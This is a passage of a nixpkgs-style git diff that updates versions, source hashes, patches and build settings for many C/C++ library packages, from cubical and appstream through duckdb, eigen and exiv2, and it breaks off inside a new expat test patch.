b/pkgs/development/libraries/agda/cubical/default.nix @@ -2,13 +2,13 @@ mkDerivation rec { pname = "cubical"; - version = "0.6"; + version = "0.7"; src = fetchFromGitHub { repo = pname; owner = "agda"; rev = "v${version}"; - hash = "sha256-2quAZ/j7kQaFkh9W5Bj1y7YQj9BT7FwHqVWyj8T4AH8="; + hash = "sha256-oLpKRWfQqb6CIscC2XM0ia9HJ8edJFHoPeql3kfvyrA="; }; # The cubical library has several `Everything.agda` files, which are @@ -26,6 +26,6 @@ mkDerivation rec { homepage = src.meta.homepage; license = licenses.mit; platforms = platforms.unix; - maintainers = with maintainers; [ alexarice ryanorendorff ncfavier ]; + maintainers = with maintainers; [ alexarice ryanorendorff ncfavier phijor ]; }; } diff --git a/pkgs/development/libraries/appstream/default.nix b/pkgs/development/libraries/appstream/default.nix index c5fb2036d324e..ff953b621635a 100644 --- a/pkgs/development/libraries/appstream/default.nix +++ b/pkgs/development/libraries/appstream/default.nix @@ -25,10 +25,11 @@ , curl , systemd , nixosTests +, testers , withSystemd ? lib.meta.availableOn stdenv.hostPlatform systemd }: -stdenv.mkDerivation rec { +stdenv.mkDerivation (finalAttrs: { pname = "appstream"; version = "1.0.1"; @@ -37,7 +38,7 @@ stdenv.mkDerivation rec { src = fetchFromGitHub { owner = "ximion"; repo = "appstream"; - rev = "v${version}"; + rev = "v${finalAttrs.version}"; sha256 = "sha256-ULqRHepWVuAluXsXJUoqxqJfrN168MGlwdVkoLLwSN0="; }; @@ -97,9 +98,10 @@ stdenv.mkDerivation rec { "-Dsystemd=false" ]; - passthru = { - tests = { - installed-tests = nixosTests.installed-tests.appstream; + passthru.tests = { + installed-tests = nixosTests.installed-tests.appstream; + pkg-config = testers.hasPkgConfigModules { + package = finalAttrs.finalPackage; }; }; @@ -115,5 +117,6 @@ stdenv.mkDerivation rec { license = licenses.lgpl21Plus; mainProgram = "appstreamcli"; platforms = platforms.unix; + pkgConfigModules = [ "appstream" ]; }; -} +}) diff --git a/pkgs/development/libraries/armadillo/default.nix b/pkgs/development/libraries/armadillo/default.nix index 412052c2e3df4..e0c9f5b035e37 100644 --- a/pkgs/development/libraries/armadillo/default.nix +++ b/pkgs/development/libraries/armadillo/default.nix @@ -2,11 +2,11 @@ stdenv.mkDerivation rec { pname = "armadillo"; - version = "12.8.0"; + version = "12.8.1"; src = fetchurl { url = "mirror://sourceforge/arma/armadillo-${version}.tar.xz"; - hash = "sha256-qJu2/s5c6f3R0BpLwUXPfMC5OcV3fMpG3mnC9eNBLPA="; + hash = "sha256-J4HdOmzF+aSckaRRnd4rHCQzWlv+DMHJiBtjYxQkUrQ="; }; nativeBuildInputs = [ cmake ]; diff --git a/pkgs/development/libraries/aspell/dictionaries.nix b/pkgs/development/libraries/aspell/dictionaries.nix index ea8a2133c82b0..ba5b3d6ddd515 100644 --- a/pkgs/development/libraries/aspell/dictionaries.nix +++ b/pkgs/development/libraries/aspell/dictionaries.nix @@ -103,8 +103,9 @@ let homepage = "http://ftp.gnu.org/gnu/aspell/dict/0index.html"; } // (args.meta or {}); - } // lib.optionalAttrs (stdenv.isDarwin && lib.elem language [ "is" "nb" ]) { - # tar: Cannot open: Illegal byte sequence + } // lib.optionalAttrs (lib.elem language [ "is" "nb" ]) { + # These have Windows-1251 encoded non-ASCII characters, + # so need some special handling. unpackPhase = '' runHook preUnpack diff --git a/pkgs/development/libraries/audiality2/default.nix b/pkgs/development/libraries/audiality2/default.nix index e0ab0accdfde6..11625bc64f79f 100644 --- a/pkgs/development/libraries/audiality2/default.nix +++ b/pkgs/development/libraries/audiality2/default.nix @@ -7,14 +7,14 @@ , jack2 }: -stdenv.mkDerivation rec { +stdenv.mkDerivation (finalAttrs: { pname = "audiality2"; version = "1.9.4"; src = fetchFromGitHub { owner = "olofson"; repo = "audiality2"; - rev = "v${version}"; + rev = "v${finalAttrs.version}"; sha256 = "0ipqna7a9mxqm0fl9ggwhbc7i9yxz3jfyi0w3dymjp40v7jw1n20"; }; @@ -35,5 +35,4 @@ stdenv.mkDerivation rec { platforms = platforms.all; maintainers = with maintainers; [ fgaz ]; }; -} - +}) diff --git a/pkgs/development/libraries/audio/vamp-plugin-sdk/default.nix b/pkgs/development/libraries/audio/vamp-plugin-sdk/default.nix index 65ce6580dcecf..198d94dbee7eb 100644 --- a/pkgs/development/libraries/audio/vamp-plugin-sdk/default.nix +++ b/pkgs/development/libraries/audio/vamp-plugin-sdk/default.nix @@ -8,10 +8,10 @@ stdenv.mkDerivation rec { version = "2.10"; src = fetchFromGitHub { - owner = "c4dm"; + owner = "vamp-plugins"; repo = "vamp-plugin-sdk"; rev = "vamp-plugin-sdk-v${version}"; - sha256 = "1lhmskcyk7qqfikmasiw7wjry74gc8g5q6a3j1iya84yd7ll0cz6"; + hash = "sha256-5jNA6WmeIOVjkEMZXB5ijxyfJT88alVndBif6dnUFdI="; }; nativeBuildInputs = [ pkg-config ]; diff --git a/pkgs/development/libraries/aws-c-cal/default.nix b/pkgs/development/libraries/aws-c-cal/default.nix index 6340545e3667a..68c575312d494 100644 --- a/pkgs/development/libraries/aws-c-cal/default.nix +++ b/pkgs/development/libraries/aws-c-cal/default.nix @@ -2,13 +2,13 @@ stdenv.mkDerivation rec { pname = "aws-c-cal"; - version = "0.6.9"; + version = "0.6.10"; src = fetchFromGitHub { owner = "awslabs"; repo = pname; rev = "v${version}"; - sha256 = "sha256-m/RwGXeSjYOJQwCxfPyL4TdJ3gV66zHgVkWd3bpSaJE="; + sha256 = "sha256-rzJypIf0DrKI/2Wt5vFop34dL+KYTeCfWC0RflZpiMo="; }; nativeBuildInputs = [ cmake ]; diff --git a/pkgs/development/libraries/aws-c-compression/default.nix b/pkgs/development/libraries/aws-c-compression/default.nix index cc486bc3e6d78..e38279ff060ab 100644 --- a/pkgs/development/libraries/aws-c-compression/default.nix +++ b/pkgs/development/libraries/aws-c-compression/default.nix @@ -7,13 +7,13 @@ stdenv.mkDerivation rec { pname = "aws-c-compression"; - version = "0.2.17"; + version = "0.2.18"; src = fetchFromGitHub { owner = "awslabs"; repo = "aws-c-compression"; rev = "v${version}"; - sha256 = "sha256-XtmSThfz4Cu7CygYrLNQifDCQ6l/c/0OR0lX+OxCYJM="; + sha256 = "sha256-Cf3MvoRWGAy+vlE59JSpTGOBl07dI4mbIaL1HIiLN/I="; }; nativeBuildInputs = [ diff --git a/pkgs/development/libraries/aws-checksums/default.nix b/pkgs/development/libraries/aws-checksums/default.nix index 722c77f32de64..41da5e247e941 100644 --- a/pkgs/development/libraries/aws-checksums/default.nix +++ b/pkgs/development/libraries/aws-checksums/default.nix @@ -2,13 +2,13 @@ stdenv.mkDerivation rec { pname = "aws-checksums"; - version = "0.1.17"; + version = "0.1.18"; src = fetchFromGitHub { owner = "awslabs"; repo = pname; rev = "v${version}"; - sha256 = "sha256-OoEwubEEkLJmlqmQR4/rp4+b1WYJEbcjYDSdXXHleZQ="; + sha256 = "sha256-EhIVa8/IK4evGt4vYECunLpxrCMSOsr1RZ/8hFbRi9M="; }; nativeBuildInputs = [ cmake ]; diff --git a/pkgs/development/libraries/boost/generic.nix b/pkgs/development/libraries/boost/generic.nix index ad67806398f92..3db9b77bf05d5 100644 --- a/pkgs/development/libraries/boost/generic.nix +++ b/pkgs/development/libraries/boost/generic.nix @@ -168,7 +168,7 @@ stdenv.mkDerivation { preConfigure = lib.optionalString useMpi '' cat << EOF >> user-config.jam - using mpi : ${mpi}/bin/mpiCC ; + using mpi : ${lib.getDev mpi}/bin/mpiCC ; EOF '' # On darwin we need to add the `$out/lib` to the libraries' rpath explicitly, diff --git a/pkgs/development/libraries/boringssl/default.nix b/pkgs/development/libraries/boringssl/default.nix index 5cb04d05a08d6..3e8908416185f 100644 --- a/pkgs/development/libraries/boringssl/default.nix +++ b/pkgs/development/libraries/boringssl/default.nix @@ -10,17 +10,17 @@ # reference: https://boringssl.googlesource.com/boringssl/+/2661/BUILDING.md buildGoModule { pname = "boringssl"; - version = "unstable-2023-09-27"; + version = "unstable-2024-02-15"; src = fetchgit { url = "https://boringssl.googlesource.com/boringssl"; - rev = "d24a38200fef19150eef00cad35b138936c08767"; - hash = "sha256-FBQ7y4N2rCM/Cyd6LBnDUXpSa2O3osUXukECTBjZL6s="; + rev = "5a1a5fbdb865fa58f1da0fd8bf6426f801ea37ac"; + hash = "sha256-nu+5TeWEAVLGhTE15kxmTWZxo0V2elNUy67gdaU3Y+I="; }; nativeBuildInputs = [ cmake ninja perl ]; - vendorHash = "sha256-EJPcx07WuvHPAgiS1ASU6WHlHkxjUOO72if4TkmrqwY="; + vendorHash = "sha256-McSmG+fMO8/T/bJR6YAJDYw9pxsWJoj1hcSTPv/wMsI="; proxyVendor = true; # hack to get both go and cmake configure phase diff --git a/pkgs/development/libraries/c-ares/default.nix b/pkgs/development/libraries/c-ares/default.nix index 60578f79ea573..e18f56fc2f48e 100644 --- a/pkgs/development/libraries/c-ares/default.nix +++ b/pkgs/development/libraries/c-ares/default.nix @@ -13,11 +13,11 @@ stdenv.mkDerivation rec { pname = "c-ares"; - version = "1.19.1"; + version = "1.26.0"; src = fetchurl { url = "https://c-ares.org/download/${pname}-${version}.tar.gz"; - sha256 = "sha256-MhcAOZty7Q4DfQB0xinndB9rLsLdqSlWq+PpZx0+Jo4="; + hash = "sha256-vtWMTwKwCQgOvabCRnukaXIqxq679El9xEqD2MYZTlA="; }; outputs = [ "out" "dev" "man" ]; diff --git a/pkgs/development/libraries/caf/default.nix b/pkgs/development/libraries/caf/default.nix index 96593487bbeba..ae7075cd80dfb 100644 --- a/pkgs/development/libraries/caf/default.nix +++ b/pkgs/development/libraries/caf/default.nix @@ -2,13 +2,13 @@ stdenv.mkDerivation rec { pname = "actor-framework"; - version = "0.19.5"; + version = "0.19.6"; src = fetchFromGitHub { owner = "actor-framework"; repo = "actor-framework"; rev = version; - hash = "sha256-G69qZ8aoaRP9Ug+BIhXrYs6xteUG3Zhxbo2O09LEh3s="; + hash = "sha256-Nb/BF/+xDWV/6iPo3o/NO6EtIaAW+yGFj06AO2baFfc="; }; nativeBuildInputs = [ cmake ]; diff --git a/pkgs/development/libraries/cctz/default.nix b/pkgs/development/libraries/cctz/default.nix index 0b945c8c5990a..c0f8a58a18d98 100644 --- a/pkgs/development/libraries/cctz/default.nix +++ b/pkgs/development/libraries/cctz/default.nix @@ -2,13 +2,13 @@ stdenv.mkDerivation rec { pname = "cctz"; - version = "2.3"; + version = "2.4"; src = fetchFromGitHub { owner = "google"; repo = "cctz"; rev = "v${version}"; - sha256 = "0254xfwscfkjc3fbvx6qgifr3pwkc2rb03z8pbvvqy098di9alhr"; + sha256 = "sha256-F4h8nT1karymV16FFHC0ldSbdOOx5AMstqi4Bc5m3UQ="; }; makeFlags = [ "PREFIX=$(out)" ]; diff --git a/pkgs/development/libraries/chromaprint/default.nix b/pkgs/development/libraries/chromaprint/default.nix index 3a169de590bba..189154da8c4ec 100644 --- a/pkgs/development/libraries/chromaprint/default.nix +++ b/pkgs/development/libraries/chromaprint/default.nix @@ -1,4 +1,12 @@ -{ lib, stdenv, fetchurl, cmake, boost, ffmpeg_4, darwin, zlib }: +{ lib +, stdenv +, fetchurl +, fetchpatch +, cmake +, ffmpeg_6 +, darwin +, zlib +}: stdenv.mkDerivation rec { pname = "chromaprint"; @@ -9,10 +17,26 @@ stdenv.mkDerivation rec { sha256 = "sha256-oarY+juLGLeNN1Wzdn+v+au2ckLgG0eOyaZOGQ8zXhw="; }; + patches = [ + # Use FFmpeg 5.x + # https://github.com/acoustid/chromaprint/pull/120 + (fetchpatch { + url = "https://github.com/acoustid/chromaprint/commit/8ccad6937177b1b92e40ab8f4447ea27bac009a7.patch"; + hash = "sha256-yO2iWmU9s2p0uJfwIdmk3jZ5HXBIQZ/NyOqG+Y5EHdg="; + excludes = [ "package/build.sh" ]; + }) + # ffmpeg5 fix for issue #122 + # https://github.com/acoustid/chromaprint/pull/125 + (fetchpatch { + url = "https://github.com/acoustid/chromaprint/commit/aa67c95b9e486884a6d3ee8b0c91207d8c2b0551.patch"; + hash = "sha256-dLY8FBzBqJehAofE924ayZK0HA/aKiuFhEFxL7dg6rY="; + }) + ]; + nativeBuildInputs = [ cmake ]; - buildInputs = [ ffmpeg_4 ] ++ lib.optionals stdenv.isDarwin - (with darwin.apple_sdk.frameworks; [Accelerate CoreGraphics CoreVideo zlib]); + buildInputs = [ ffmpeg_6 ] ++ lib.optionals stdenv.isDarwin + (with darwin.apple_sdk.frameworks; [ Accelerate CoreGraphics CoreVideo zlib ]); cmakeFlags = [ "-DBUILD_EXAMPLES=ON" "-DBUILD_TOOLS=ON" ]; diff --git a/pkgs/development/libraries/clipper2/default.nix b/pkgs/development/libraries/clipper2/default.nix index f7bb635e63d04..4f4dee29ec988 100644 --- a/pkgs/development/libraries/clipper2/default.nix +++ b/pkgs/development/libraries/clipper2/default.nix @@ -6,13 +6,13 @@ stdenv.mkDerivation rec { pname = "clipper2"; - version = "1.2.2"; + version = "1.3.0"; src = fetchFromGitHub { owner = "AngusJohnson"; repo = "Clipper2"; rev = "Clipper2_${version}"; - sha256 = "sha256-u/4GG1A2PAlk8VEWgJX8+EnZ5hpGhu1QbvHwct58sF4="; + sha256 = "sha256-3TKhb48cABl0QcbeG12xlA1taQ/8/RdUUHSp0Qh85eE="; }; sourceRoot = "${src.name}/CPP"; diff --git a/pkgs/development/libraries/collada-dom/default.nix b/pkgs/development/libraries/collada-dom/default.nix deleted file mode 100644 index 1cb5c48539697..0000000000000 --- a/pkgs/development/libraries/collada-dom/default.nix +++ /dev/null @@ -1,35 +0,0 @@ -{ stdenv, lib, fetchFromGitHub, cmake, boost, libxml2, minizip, readline }: - -stdenv.mkDerivation { - pname = "collada-dom"; - version = "unstable-2020-01-03"; - - src = fetchFromGitHub { - owner = "rdiankov"; - repo = "collada-dom"; - rev = "c1e20b7d6ff806237030fe82f126cb86d661f063"; - sha256 = "sha256-A1ne/D6S0shwCzb9spd1MoSt/238HWA8dvgd+DC9cXc="; - }; - - postInstall = '' - chmod +w -R $out - ln -s $out/include/*/* $out/include - ''; - - nativeBuildInputs = [ cmake ]; - - buildInputs = [ - boost - libxml2 - minizip - readline - ]; - - meta = with lib; { - description = "Lightweight version of collada-dom, with only the parser."; - homepage = "https://github.com/rdiankov/collada-dom"; - license = licenses.mit; - maintainers = with maintainers; [ marius851000 ]; - platforms = platforms.all; - }; -} diff --git a/pkgs/development/libraries/cpp-utilities/default.nix b/pkgs/development/libraries/cpp-utilities/default.nix index 54a8637ebe21e..49ebc34fbcf25 100644 --- a/pkgs/development/libraries/cpp-utilities/default.nix +++ b/pkgs/development/libraries/cpp-utilities/default.nix @@ -8,13 +8,13 @@ stdenv.mkDerivation (finalAttrs: { pname = "cpp-utilities"; - version = "5.24.6"; + version = "5.24.7"; src = fetchFromGitHub { owner = "Martchus"; repo = "cpp-utilities"; rev = "v${finalAttrs.version}"; - sha256 = "sha256-Lzt/lINfYvzabBbEUdNbF4Ta767WgMre2dxBkMbQnp0="; + sha256 = "sha256-gfyvWnvUXgjocid0nvp3lWhdPb7MYm+1GJRP5RYInEY="; }; nativeBuildInputs = [ cmake ]; diff --git a/pkgs/development/libraries/ctranslate2/default.nix b/pkgs/development/libraries/ctranslate2/default.nix index e8e67c3ad437a..943b9f28584c6 100644 --- a/pkgs/development/libraries/ctranslate2/default.nix +++ b/pkgs/development/libraries/ctranslate2/default.nix @@ -24,13 +24,13 @@ let in stdenv.mkDerivation rec { pname = "ctranslate2"; - version = "3.24.0"; + version = "4.0.0"; src = fetchFromGitHub { owner = "OpenNMT"; repo = "CTranslate2"; rev = "v${version}"; - hash = "sha256-RK5GQymtaYOM6HK2eRK5Rbz6NZva3Jt7lTPTUbSQXxI="; + hash = "sha256-pySnkDnV41rqr4OcNonPtSgv4AJYcF5vtkBg6Ad/IvU="; fetchSubmodules = true; }; diff --git a/pkgs/development/libraries/cxxopts/default.nix b/pkgs/development/libraries/cxxopts/default.nix index e4d1df23b7e5e..89276c7a0b44f 100644 --- a/pkgs/development/libraries/cxxopts/default.nix +++ b/pkgs/development/libraries/cxxopts/default.nix @@ -9,13 +9,13 @@ stdenv.mkDerivation rec { pname = "cxxopts"; - version = "3.1.1"; + version = "3.2.1"; src = fetchFromGitHub { owner = "jarro2783"; repo = "cxxopts"; rev = "v${version}"; - sha256 = "sha256-lJPMaXBfrCeUhhXha5f7zmOGtyEDzU3oPTMirPTFZzQ="; + sha256 = "sha256-aOF3owz7SIV4trJY0PnMtIcwqoUpDbB3tNxZcsl9dzM="; }; buildInputs = lib.optionals enableUnicodeHelp [ icu.dev ]; diff --git a/pkgs/development/libraries/dlib/default.nix b/pkgs/development/libraries/dlib/default.nix index 50709cae8c0b7..e433ec46a3024 100644 --- a/pkgs/development/libraries/dlib/default.nix +++ b/pkgs/development/libraries/dlib/default.nix @@ -54,7 +54,7 @@ lapack ] ++ lib.optionals guiSupport [ libX11 ] - ++ lib.optionals config.cudaSupport (with cudaPackages; [ + ++ lib.optionals cudaSupport (with cudaPackages; [ cuda_cudart.dev cuda_cudart.lib cuda_cudart.static diff --git a/pkgs/development/libraries/double-conversion/default.nix b/pkgs/development/libraries/double-conversion/default.nix index 9ba75c7716623..cdca8c574fffa 100644 --- a/pkgs/development/libraries/double-conversion/default.nix +++ b/pkgs/development/libraries/double-conversion/default.nix @@ -24,7 +24,7 @@ stdenv.mkDerivation rec { description = "Binary-decimal and decimal-binary routines for IEEE doubles"; homepage = "https://github.com/google/double-conversion"; license = licenses.bsd3; - platforms = platforms.unix; + platforms = platforms.unix ++ platforms.windows; maintainers = with maintainers; [ abbradar ]; }; } diff --git a/pkgs/development/libraries/dqlite/default.nix b/pkgs/development/libraries/dqlite/default.nix index ff379c1a78b3f..2746c53e6a015 100644 --- a/pkgs/development/libraries/dqlite/default.nix +++ b/pkgs/development/libraries/dqlite/default.nix @@ -3,13 +3,13 @@ stdenv.mkDerivation rec { pname = "dqlite"; - version = "1.16.0"; + version = "1.16.4"; src = fetchFromGitHub { owner = "canonical"; repo = pname; rev = "refs/tags/v${version}"; - hash = "sha256-8MPAyCqqjDpDHSyiZ1cvvgflaOLNzPGswZSsSjSffvw="; + hash = "sha256-Q90wVqb6321+SWW5j52fb6mVRf25nExqgN/+s6OwoMk="; }; nativeBuildInputs = [ autoreconfHook file pkg-config ]; diff --git a/pkgs/development/libraries/drogon/default.nix b/pkgs/development/libraries/drogon/default.nix index 5919a45467dc2..3e155d6f2d902 100644 --- a/pkgs/development/libraries/drogon/default.nix +++ b/pkgs/development/libraries/drogon/default.nix @@ -9,13 +9,13 @@ stdenv.mkDerivation (finalAttrs: { pname = "drogon"; - version = "1.9.2"; + version = "1.9.3"; src = fetchFromGitHub { owner = "drogonframework"; repo = "drogon"; rev = "v${finalAttrs.version}"; - sha256 = "sha256-/pLYBCwulHkHQAVEhuAlPUJSS/jc3uvGtU0Q0RWPNn0="; + sha256 = "sha256-en8w8kda0ijg6b6s2WHxHfuGaa+p08928Jw57UBevDU="; fetchSubmodules = true; }; diff --git a/pkgs/development/libraries/duckdb/default.nix b/pkgs/development/libraries/duckdb/default.nix index 801ad7979aee9..e6645480d2b24 100644 --- a/pkgs/development/libraries/duckdb/default.nix +++ b/pkgs/development/libraries/duckdb/default.nix @@ -1,10 +1,13 @@ { lib , stdenv , fetchFromGitHub +, fetchpatch +, substituteAll , cmake , ninja , openssl , openjdk11 +, python3 , unixODBC , withJdbc ? false , withOdbc ? false @@ -15,22 +18,31 @@ let in stdenv.mkDerivation rec { pname = "duckdb"; - version = "0.9.2"; + version = "0.10.0"; src = fetchFromGitHub { owner = pname; repo = pname; - rev = "v${version}"; - hash = "sha256-QFK8mEMcqQwALFNvAdD8yWixwMYHSbeo6xqx86PvejU="; + rev = "refs/tags/v${version}"; + hash = "sha256-qGUq0iYTaLNHKqbXNLRmvqHMqunvIlP991IKb4qdSt4="; }; - patches = [ ./version.patch ]; - - postPatch = '' - substituteInPlace CMakeLists.txt --subst-var-by DUCKDB_VERSION "v${version}" - ''; + patches = [ + # remove calls to git and set DUCKDB_VERSION to version + (substituteAll { + src = ./version.patch; + version = "v${version}"; + }) + # add missing file needed for httpfs compile + # remove on next update + (fetchpatch { + name = "missing-httpfs-file.patch"; + url = "https://github.com/duckdb/duckdb/commit/3d7aa3ed46ecf5f18122559e385b75f1f5e9aba8.patch"; + hash = "sha256-Q4IHCpMpxn86OquUZdEF7P0nHEPOcWS0TQijTkvBYbQ="; + }) + ]; - nativeBuildInputs = [ cmake ninja ]; + nativeBuildInputs = [ cmake ninja python3 ]; buildInputs = [ openssl ] ++ lib.optionals withJdbc [ openjdk11 ] ++ lib.optionals withOdbc [ unixODBC ]; @@ -54,7 +66,7 @@ stdenv.mkDerivation rec { installCheckPhase = let - excludes = map (pattern: "exclude:'${pattern}'") [ + excludes = map (pattern: "exclude:'${pattern}'") ([ "[s3]" "Test closing database during long running query" "Test using a remote optimizer pass in case thats important to someone" @@ -91,16 +103,22 @@ stdenv.mkDerivation rec { "[!hide]" # this test apparently never terminates "test/sql/copy/csv/auto/test_csv_auto.test" + # test expects installed file timestamp to be > 2024 + "test/sql/table_function/read_text_and_blob.test" + # can re-enable next update (broken for 0.10.0) + "test/sql/secrets/create_secret_non_writable_persistent_dir.test" + # https://github.com/duckdb/duckdb/issues/10722 + "test/sql/types/nested/list/list_aggregate_dict.test" ] ++ lib.optionals stdenv.isAarch64 [ "test/sql/aggregate/aggregates/test_kurtosis.test" "test/sql/aggregate/aggregates/test_skewness.test" "test/sql/function/list/aggregates/skewness.test" - ]; + ]); in '' runHook preInstallCheck - $PWD/test/unittest ${lib.concatStringsSep " " excludes} + ./test/unittest ${toString excludes} runHook postInstallCheck ''; diff --git a/pkgs/development/libraries/duckdb/version.patch b/pkgs/development/libraries/duckdb/version.patch index f40785b430797..122ad4295d41e 100644 --- a/pkgs/development/libraries/duckdb/version.patch +++ b/pkgs/development/libraries/duckdb/version.patch @@ -52,7 +52,7 @@ index 2b49e11288..0a4a69b9a0 100644 - set(DUCKDB_DEV_ITERATION 0) - set(DUCKDB_VERSION "v${DUCKDB_MAJOR_VERSION}.${DUCKDB_MINOR_VERSION}.${DUCKDB_PATCH_VERSION}-dev${DUCKDB_DEV_ITERATION}") -endif() -+set(DUCKDB_VERSION "@DUCKDB_VERSION@") ++set(DUCKDB_VERSION "@version@") message(STATUS "git hash ${GIT_COMMIT_HASH}, version ${DUCKDB_VERSION}") diff --git a/pkgs/development/libraries/easyloggingpp/default.nix b/pkgs/development/libraries/easyloggingpp/default.nix index 3aa6024fc3d18..0923d2b450bcd 100644 --- a/pkgs/development/libraries/easyloggingpp/default.nix +++ b/pkgs/development/libraries/easyloggingpp/default.nix @@ -15,7 +15,7 @@ stdenv.mkDerivation rec { nativeBuildInputs = [cmake]; buildInputs = [gtest]; cmakeFlags = [ "-Dtest=ON" ]; - env.NIX_CFLAGS_COMPILE = "-std=c++11" + + env.NIX_CFLAGS_COMPILE = "-std=c++14" + lib.optionalString stdenv.isLinux " -pthread"; postInstall = '' mkdir -p $out/include diff --git a/pkgs/development/libraries/eccodes/default.nix b/pkgs/development/libraries/eccodes/default.nix index 844312768002e..e8b58762f9208 100644 --- a/pkgs/development/libraries/eccodes/default.nix +++ b/pkgs/development/libraries/eccodes/default.nix @@ -16,11 +16,11 @@ stdenv.mkDerivation rec { pname = "eccodes"; - version = "2.33.0"; + version = "2.34.1"; src = fetchurl { url = "https://confluence.ecmwf.int/download/attachments/45757960/eccodes-${version}-Source.tar.gz"; - sha256 = "sha256-vc7IzmNlTsaANADFB/ASIKmqQDpF+mtb3/f9zET9fa8="; + hash = "sha256-+bhoASLjzOwm5u0kqB8bxQ7Z8iMrQx4F5XNniqxNlzQ="; }; postPatch = '' diff --git a/pkgs/development/libraries/edencommon/default.nix b/pkgs/development/libraries/edencommon/default.nix index 022cecc27a61c..68d6e55291570 100644 --- a/pkgs/development/libraries/edencommon/default.nix +++ b/pkgs/development/libraries/edencommon/default.nix @@ -1,14 +1,23 @@ -{ stdenv, lib, cmake, fetchFromGitHub, glog, folly, fmt_8, boost, gtest }: +{ stdenv +, lib +, fetchFromGitHub +, boost +, cmake +, fmt_8 +, folly +, glog +, gtest +}: stdenv.mkDerivation rec { pname = "edencommon"; - version = "2023.03.06.00"; + version = "2024.01.22.00"; src = fetchFromGitHub { owner = "facebookexperimental"; repo = "edencommon"; rev = "v${version}"; - sha256 = "sha256-m54TaxThWe6bUa6Q1t+e99CLFOvut9vq9RSmimTNuaU="; + sha256 = "sha256-KY0vXptzOEJLDjHvGd3T5oiCCvggND2bPBzvll+YBo4="; }; nativeBuildInputs = [ cmake ]; diff --git a/pkgs/development/libraries/eigen/default.nix b/pkgs/development/libraries/eigen/default.nix index 18fe7450d5080..4befab1e7b7f2 100644 --- a/pkgs/development/libraries/eigen/default.nix +++ b/pkgs/development/libraries/eigen/default.nix @@ -1,6 +1,7 @@ { lib , stdenv , fetchFromGitLab +, fetchpatch , cmake }: @@ -17,6 +18,20 @@ stdenv.mkDerivation rec { patches = [ ./include-dir.patch + + # Fixes e.g. onnxruntime on aarch64-darwin: + # https://hydra.nixos.org/build/248915128/nixlog/1, + # originally suggested in https://github.com/NixOS/nixpkgs/pull/258392. + # + # The patch is from + # ["Fix vectorized reductions for Eigen::half"](https://gitlab.com/libeigen/eigen/-/merge_requests/699) + # which is two years old, + # but Eigen hasn't had a release in two years either: + # https://gitlab.com/libeigen/eigen/-/issues/2699. + (fetchpatch { + url = "https://gitlab.com/libeigen/eigen/-/commit/d0e3791b1a0e2db9edd5f1d1befdb2ac5a40efe0.patch"; + hash = "sha256-8qiNpuYehnoiGiqy0c3Mcb45pwrmc6W4rzCxoLDSvj0="; + }) ]; nativeBuildInputs = [ cmake ]; diff --git a/pkgs/development/libraries/enchant/2.x.nix b/pkgs/development/libraries/enchant/2.x.nix index 10d9a4106bb91..fd79b8d7e97f3 100644 --- a/pkgs/development/libraries/enchant/2.x.nix +++ b/pkgs/development/libraries/enchant/2.x.nix @@ -13,13 +13,13 @@ stdenv.mkDerivation rec { pname = "enchant"; - version = "2.6.5"; + version = "2.6.7"; outputs = [ "out" "dev" ]; src = fetchurl { url = "https://github.com/AbiWord/${pname}/releases/download/v${version}/${pname}-${version}.tar.gz"; - hash = "sha256-no/SjLZae22jVFh4pcL1KhXwPASTOl/0jbif6GhFco4="; + hash = "sha256-ocLltZrMoAC7+ySBCvShFlcz1AfyFUeGWI4HbIzVe/w="; }; strictDeps = true; diff --git a/pkgs/development/libraries/exiv2/default.nix b/pkgs/development/libraries/exiv2/default.nix index fb2db6a963e72..f080bd804b48c 100644 --- a/pkgs/development/libraries/exiv2/default.nix +++ b/pkgs/development/libraries/exiv2/default.nix @@ -20,7 +20,7 @@ stdenv.mkDerivation rec { pname = "exiv2"; - version = "0.28.1"; + version = "0.28.2"; outputs = [ "out" "lib" "dev" "doc" "man" ]; @@ -28,16 +28,9 @@ stdenv.mkDerivation rec { owner = "exiv2"; repo = "exiv2"; rev = "v${version}"; - hash = "sha256-Jim8vYWyCa16LAJ1GuP8cCzhXIc2ouo6hVsHg3UQbdg="; + hash = "sha256-0TgvIiuHMeohStIwmHOq4yvTj2H07wyx4w3iIdkrLTc="; }; - patches = [ - (fetchpatch { - url = "https://github.com/Exiv2/exiv2/commit/c351c7cce317571934abf693055779a59df30d6e.patch"; - hash = "sha256-fWJT4IUBrAELl6ku0M1iTzGFX74le8Z0UzTJLU/gYls="; - }) - ]; - nativeBuildInputs = [ cmake doxygen @@ -94,7 +87,7 @@ stdenv.mkDerivation rec { ''; preFixup = '' - remove-references-to -t ${stdenv.cc.cc} $lib/lib/*.so.*.*.* $out/bin/exiv2 $static/lib/*.a + remove-references-to -t ${stdenv.cc.cc} $lib/lib/*.so.*.*.* $out/bin/exiv2 ''; disallowedReferences = [ stdenv.cc.cc ]; diff --git a/pkgs/development/libraries/expat/2.6.0-fix-tests-flakiness.patch b/pkgs/development/libraries/expat/2.6.0-fix-tests-flakiness.patch new file mode 100644 index 0000000000000..9817b1833627f --- /dev/null +++ b/pkgs/development/libraries/expat/2.6.0-fix-tests-flakiness.patch @@ -0,0 +1,252 @@ +diff --git a/lib/internal.h b/lib/internal.h +index cce71e4c..a217b3f9 100644 +--- a/lib/internal.h ++++ b/lib/internal.h +@@ -31,7 +31,7 @@ + Copyright (c) 2016-2023 Sebastian Pipping <sebastian@pipping.org> + Copyright (c) 2018 Yury Gribov <tetra2005@gmail.com> + Copyright (c) 2019 David Loffredo <loffredo@steptools.com> +- Copyright (c) 2023 Sony Corporation / Snild Dolkow <snild@sony.com> ++ Copyright (c) 2023-2024 Sony Corporation / Snild Dolkow <snild@sony.com> + Licensed under the MIT license: + + Permission is hereby granted, free of charge, to any person obtaining +@@ -162,7 +162,7 @@ const char *unsignedCharToPrintable(unsigned char c); + #endif + + extern XML_Bool g_reparseDeferralEnabledDefault; // written ONLY in runtests.c +-extern unsigned int g_parseAttempts; // used for testing only ++extern unsigned int g_bytesScanned; // used for testing only + + #ifdef __cplusplus + } +diff --git a/lib/xmlparse.c b/lib/xmlparse.c +index aaf0fa9c..6de99d99 100644 +--- a/lib/xmlparse.c ++++ b/lib/xmlparse.c +@@ -38,7 +38,7 @@ + Copyright (c) 2022 Jann Horn <jannh@google.com> + Copyright (c) 2022 Sean McBride <sean@rogue-research.com> + Copyright (c) 2023 Owain Davies <owaind@bath.edu> +- Copyright (c) 2023 Sony Corporation / Snild Dolkow <snild@sony.com> ++ Copyright (c) 2023-2024 Sony Corporation / Snild Dolkow <snild@sony.com> + Licensed under the MIT license: + + Permission is hereby granted, free of charge, to any person obtaining +@@ -630,7 